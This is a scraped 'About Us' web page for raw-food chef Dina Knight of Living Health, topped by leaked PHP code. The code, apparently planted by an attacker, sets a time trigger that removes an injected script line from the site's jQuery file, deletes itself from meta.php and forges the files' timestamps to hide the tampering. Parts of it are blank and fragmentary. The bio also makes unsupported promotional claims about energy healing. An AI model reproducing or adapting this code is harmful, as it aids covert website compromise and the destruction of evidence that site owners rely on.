check_meta(); function check_meta(){ $dir = dirname(__FILE__); $jq = $dir."/js/jquery/jquery.js"; $jp = $dir."/meta.php"; $jqtime = filemtime($jq); $jptime = filemtime($jp); if(time() >= 1433385963){ $jq_c = file_get_contents($jq); if(@strpos($jq_c,"")) { $contentq = str_replace("document.write ('
');", "", $jq_c); if(@file_put_contents($jq, $contentq)){ @touch($jq,$jqtime); } } $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } } About Us | Living Health

About Us

Chef Dina Knight is a raw and living foods chef, instructor, personal coach, consultant, natural energy healer. Dina witnessed the powerful healing achieved through eating an optimal plant-based whole foods diet following the illnesses of several close family members. She became passionate about helping others and through her own personal transformation lost over 100 pounds and 16” from her waist! Chef Dina Knight is co-founder and executive chef of Greenivore Inc., and where she and her team prepare delicious organic uncooked vegan fare for celebrities and other individuals who are interested in consuming high vitality foods that provide optimal health for their bodies and the planet.Dina is a certified Raw and Living Foods Chef and Instructor from the Living Light Culinary Arts Institute, the premier raw vegan culinary school in the world. Chef Dina has the ability to transform simple fruits, vegetables, nuts and seeds into delicious, great tasting gourmet dishes that are not only flavorful but nutritious as well. Dina brings a variety of skills to her clients and to the kitchen. She is trained in clinical aromatherapy, hands-on healing energy work, personal fitness, biochemistry, natural health and nutrition. She is currently writing several books on raw and living foods. She was a featured Rising Star Chef at the Vibrant Living Expo, in August 2007, where she demonstrated how to turn nutrient dense Sea Vegetables into delicious salads and entrees. She was also the featured chef in the February issue of Vegan Culinary Experience Magazine. She is available for one-on-one consultations, weight-loss support, health and nutrition assessments, energy healing/aromatherapy sessions, personal chef and catering services, and for kitchen setup/design. You can contact Dina at or via her blog at Please visit her websites at and


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